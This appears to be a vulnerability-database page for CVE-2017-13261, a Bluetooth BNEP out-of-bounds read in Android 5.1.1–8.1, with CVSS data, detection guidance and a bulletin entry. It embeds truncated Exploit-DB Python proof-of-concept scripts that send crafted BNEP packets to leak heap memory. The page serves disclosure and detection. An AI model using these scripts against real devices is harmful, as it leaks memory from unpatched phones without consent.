CVE-2017-13261
published 2018-04-04CVE-2017-13261: In bnep_process_control_packet of bnep_utils.cc, there is a possible out of bounds read due to a missing bounds check. This could lead to remote information…
PriorityP356high7.5CVSS 3.0
AVNACLPRNUINSUCHINAN
EXPLOIT
EPSS
7.43%
93.7th percentile
In bnep_process_control_packet of bnep_utils.cc, there is a possible out of bounds read due to a missing bounds check. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-69177292.
Affected
17 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| android | — | — | |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
| google_inc | android | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Monitor for L2CAP connections to PSM 15 (BNEP) from untrusted/unpaired Bluetooth devices — the exploit connects over L2CAP PSM 15 without requiring pairing or user interaction. ↗
- →Detect malformed BNEP SETUP_CONNECTION_REQUEST_MSG frames (frame type 0x01, control type 0x01) that are truncated and omit the mandatory 'len' field — this triggers the out-of-bounds read in bnep_process_control_packet(). ↗
- →Detect BNEP Compressed Ethernet frames (type byte 0x82: extension flag set + type 0x02) with a crafted extension byte of 0x80 — used to leak heap bytes from com.android.bluetooth via bnep_send_command_not_understood() responses. ↗
- →The exploit requires no user interaction and no elevated privileges on the attacker side — any unauthenticated Bluetooth connection attempt to PSM 15 on an unpatched Android 5.1.1–8.1 device should be treated as suspicious. ↗
- ·The exploit script must be run as root on the attacker machine; detections targeting the attacker host (e.g., EDR) should note this privilege requirement. ↗
CVSS provenance
nvdv3.07.5HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:N
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-9mvq-97pq-fpww: In bnep_process_control_packet of bnep_utils
ghsa_unreviewed·2022-05-14
CVE-2017-13261 [HIGH] CWE-125 GHSA-9mvq-97pq-fpww: In bnep_process_control_packet of bnep_utils
In bnep_process_control_packet of bnep_utils.cc, there is a possible out of bounds read due to a missing bounds check. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-69177292.
Android
CVE-2017-13261: Android Security Bulletin 2018-03-01
CVE: CVE-2017-13261
Severity: HIGH
Type: ID
Affected AOSP versions: 5
vendor_android·2018-03-01·CVSS 7.5
CVE-2017-13261 [HIGH] CVE-2017-13261: Android Security Bulletin 2018-03-01
CVE: CVE-2017-13261
Severity: HIGH
Type: ID
Affected AOSP versions: 5
Android Security Bulletin 2018-03-01
CVE: CVE-2017-13261
Severity: HIGH
Type: ID
Affected AOSP versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1
References: A-69177292
No detection rules found.
Exploit-DB
Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read
exploitdb·2018-03-23
CVE-2017-13262 Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read
Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read
---
import os
import sys
import struct
import bluetooth
BNEP_PSM = 15
BNEP_FRAME_CONTROL = 0x01
# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
def oob_read(src_bdaddr, dst):
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."
# This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
# plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
# It doesn't include the 'len' field, therefore it is read from
Exploit-DB
Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure
exploitdb·2018-03-23
CVE-2017-13262 Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure
Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure
---
import os
import sys
import struct
import bluetooth
BNEP_PSM = 15
BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
LEAK_ATTEMPTS = 20
def leak(src_bdaddr, dst):
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print 'Leaking bytes from the heap of com.android.bluetooth...'
for i in range(LEAK_ATTEMPTS):
# A byte from the heap at (p + controlled_length) will be leaked
# if it's greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06).
# This BNEP packet can be seen in Wireshark with the following info:
# "Compressed Ethernet+E - Type: unknown[Malformed packet]".
# The response sent by bnep_send_command_no
No writeups or analysis indexed.
http://www.securityfocus.com/bid/103253https://source.android.com/security/bulletin/2018-03-01https://www.exploit-db.com/exploits/44326/https://www.exploit-db.com/exploits/44327/http://www.securityfocus.com/bid/103253https://source.android.com/security/bulletin/2018-03-01https://www.exploit-db.com/exploits/44326/https://www.exploit-db.com/exploits/44327/
2018-04-04
Published